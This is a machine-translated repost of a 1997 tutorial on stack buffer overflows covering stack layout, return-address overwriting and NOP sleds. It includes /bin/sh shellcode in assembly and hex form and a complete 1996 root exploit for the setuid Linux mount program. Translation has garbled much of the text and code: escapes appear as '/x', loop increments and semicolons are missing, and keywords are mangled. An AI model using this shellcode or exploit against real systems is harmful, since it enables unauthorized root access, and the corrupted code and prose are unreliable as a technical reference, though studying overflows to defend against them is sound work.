Buffer overflow mechanism analysis

xiaoxiao2021-03-06  121

The content of this article is for educational purposes. The author does not guarantee the correctness of the content. In any case, the author is not

For any damage or problem arising from the content of the text in the text. Risk using this article

Bell himself.

Computer application studio 1997 review

########################################################################

Buffer overflow mechanism analysis

########################################################################

ONLY 1997.7.19

ONLY.BBS@bbs.sjtu.edu.cn

1. What is the buffer overflow?

~~~~~~~~~~~~~~~~~~~

Buffer overflow, buffer overrun, smash the stack, trash the stack,

Scribble The Stack, Mangle The Stack, Spam, Alias ​​Bug, Fandango on Core,

Memory Leak, Precedence Lossage, Overrun Screw ... Refers to a system attack

Segment, the content of the length of the buffer is written through the buffer of the program, resulting in the overflow of the buffer

The preface stack makes the program to perform other instructions to achieve the purpose of attack. According to statistics, through the buffer area

The attack on overflow accounts for more than 80% of the total number of attacks in all systems.

The reason for causing buffer overflow is that the parameters that the user input is not carefully checked in the program. For example, the next face

sequence:

EXAMPLE1.C

-------------------------------------------------- --------------------

Void function (char * str) {

Char buffer [16];

STRCPY (BUFFER, STR);

}

-------------------------------------------------- --------------------

The above STRCPY () will directly click the contents in the STR COPY to the buffer. This is as long as the length of STR

More than 16, it will cause overflow of buffer to make the program run error. There is a problem like Strcpy

Standard functions include strcat (), sprintf (), vsprintf (), gets (), scanf (), and in the cycle

Getc (), FGETC (), getchar (), etc.

Of course, it is necessary to fill things in the buffer to cause it to overflow. Segmentation Fault will only appear.

Error, and cannot achieve the purpose of attack. The most common means is to operate by manufacturing buffer overflow

A user shell, perform other commands through the shell. If the program belongs to root and has SUID permissions

If the attacker gets a shell with root privileges, you can operate any system.

Please note that if there is no specification, the following content assumes that the platform used by the user is Intel.

X86 CPU's Linux system. For other platforms, the concept of this article is equally applicable, but the program must be corresponding

modify.

2. Manufacturing buffer overflow

~~~~~~~~~~~~~~~~

A program is usually divided into blocks, data terminals, and stacks in memory. Procedures in the block

Order machine code and read data. Data segments are placed in static data in the program. Dynamic data passes through the stack

To store. In memory, their location is:

-------------- memory low end

| Block |

| ------------------

| Data segment |

| ------------------

| Stack |

---------------- memory high end

When a function call occurs in the program, the computer is doing the following: first press the parameters into the stack; then save the content in the instruction register (IP) as the return address (RET); the third place is the base address

Depository (FP); then copy the current stack pointer (SP) to FP, as a new base address; finally

The amount leaves a certain space and subtracts the SP to the appropriate value. The following procedure is taken as an example:

EXAMPLE2.C

-------------------------------------------------- --------------------

Void function (char * str) {

Char buffer [16];

STRCPY (BUFFER, STR);

}

Void main () {

CHAR LARGE_STRING [256];

INT I;

For (i = 0; i <255; i )

Large_string [i] = 'a';

Function (large_string);

}

-------------------------------------------------- --------------------

When the function function () is called, the stack is as follows:

Low internal buffer SFP RET * STR high internal memory

<------ [] [] [] []

Stack top

Needless to say, the result of the program is "Segmentation Fault (Core Dumped" or similar

Error information. Because 256 bytes starting from Buffer will be overwritten by * STR 'a', including SFP,

RET, even * STR. The hex value of 'a' is 0x41, so the return address of the function becomes 0x41414141,

This exceeds the address space of the program, so there is a paragraph error.

3. Overflow through the buffer to get the user shell

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If you write the code we want to perform in the overflowed buffer, then override the return address (RET)

To point it to the beginning of the buffer, you can achieve the purpose of running other instructions.

Low internal buffer SFP RET * STR high internal memory

<------ [] [] [] []

Top ^ | Stack

| ________________________ |

Usually, we want to run a user shell. Here is a very beautiful shell code.

EXAMPLE3.C

-------------------------------------------------- --------------------

Void main () {

__ASM __ ("

JMP 0x1f # 2 bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

XORL% EAX,% EAX # 2 bytes

MOVB% EAX, 0x7 (% ESI) # 3 bytes

MOVL% EAX, 0xc (% esi) # 3 bytes

MovB $ 0XB,% Al # 2 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

Leal 0xc (% ESI),% EDX # 3 bytesint $ 0x80 # 2 bytes

XORL% EBX,% EBX # 2 Bytes

MOVL% EBX,% EAX # 2 bytes

INC% EAX # 1 bytes

INT $ 0x80 # 2 bytes

Call -0x24 # 5 bytes

.string / "/ bin / sh /" # 8 bytes

# 46 bytes Total

");

}

-------------------------------------------------- --------------------

The above program can be represented by the machine code to get the following hex shell code string.

EXAMPLE4.C

-------------------------------------------------- --------------------

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Char large_string [128];

Void main () {

Char buffer [96];

INT I;

Long * long_ptr = (long *) Large_String;

For (i = 0; i <32; i )

* (long_ptr i) = (int) BUFFER;

For (i = 0; i

Large_string [i] = shellcode [i];

STRCPY (Buffer, Large_String);

}

-------------------------------------------------- --------------------

What this program is done is that in Large_String, fill in the address of the buffer and put the shell code.

Put it to the front part of Large_String. Then Large_String is copied into the buffer, resulting in it overflow

Out, make the return address becomes buffer, and the buffer's content is the shell code. This is the program

When you return to strcpy (), you will turn the Shell.

4. System Attacks that use buffer overflow

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If a program is known to have a buffer overflow, how to know the address of the buffer, put it there

What about the shell code? Since each program's stack start address is fixed, it can be through

Repeatedly re-trial buffer is obtained relative to the distance of the stack start position. But such blind guess may enter

Hundreds of thousands of times, actually unrealistic. The solution is to use the empty directive NOP. At shell code

Play a long string of NOP, return address can point to any location in this string NOP, execute NOP instructions

The post program will activate the Shell process. This greatly increases the possibility of guess.

Low internal buffer SFP RET * STR high internal memory

<------ [nnnnnnnssssssssssssssssssssss] [] [] []

Top ^ | Stack

| ______________________________ |

In the figure, n represents NOP, S represents the shell. Below is an instance of a buffer overflow attack, which uses the vulnerability of the system program MOUNT:

EXAMPLE5.C

-------------------------------------------------- --------------------

/ * Mount Exploit for Linux, Jul 30 1996

Discovered and code by Bloodmask & Vio

Covin Security 1996

* /

#include

#include

#include

#include

#include

#define pat_mount "/ bin / umount"

#define buffer_size 1024

#define default_offset 50

u_long get_esp ()

{

__ASM __ ("MOVL% ESP,% EAX");

}

Main (int Argc, char ** argv)

{

u_char execShell [] =

"/ XEB / X24 / X5E / X8D / X1E / X89 / X5E / X0B / X33 / XD2 / X89 / X56 / X07 / X89 / X56 / X0F"

"/ xb8 / x1b / x56 / x34 / x12 / x35 / x10 / x56 / x34 / x12 / x8d / x4e / x0b / x8b / xd1 / xcd"

"/ x80 / ​​x33 / xc0 / x40 / xcd / x80 / ​​xe8 / xd7 / XFF / XFF / XFF / BIN / SH"

Char * buff = NULL;

Unsigned long * addr_ptr = null;

Char * ptr = NULL;

INT I;

INT OFS = Default_offset;

BUFF = Malloc (4096);

IF (! buff)

{

Printf ("Can't Allocate Memory / N);

exit (0);

}

PTR = BUFF;

/ * Fill Start of buffer with nops * /

MEMSET (PTR, 0x90, Buffer_Size-strlen (Execshell);

PTR = buffer_size-strlen (Execshell);

/ * Stick asm code INTO the buffer * /

For (i = 0; I

* (PTR ) = execShell [i];

Addr_ptr = (long *) PTR;

FOR (i = 0; i <(8/4); i )

* (AddR_ptr ) = get_esp () OFS;

PTR = (char *) addr_ptr;

* PTR = 0;

(void) ALARM ((U_INT) 0);

Printf ("Discovered and Coded by Bloodmask and Vio, Covin 1996 / N");

EXECL (Path_Mount, "Mount", Buff, NULL)

}

-------------------------------------------------- --------------------

The role of the Get_ESP () function in the program is the positioning stack position. The program first assigns a tentative area BUFF, and then fills the NOP in front of the buff, and the shell code is placed behind. The last part is hope

The address returned by the program is obtained by the stack address. When you call mount as a parameter as a parameter, it will result

The stack overflow of the MOUNT program is overwritten by the buffer, and the return address will point to the NOP instruction.

Since the Mount program is ROOT, there is a SuID bit, the results of ordinary users run the above program

Get a shell with root privileges.

- Transfer from

Carefree code :: loving generative programming

转载请注明原文地址:https://www.9cbs.com/read-125487.html

New Post(0)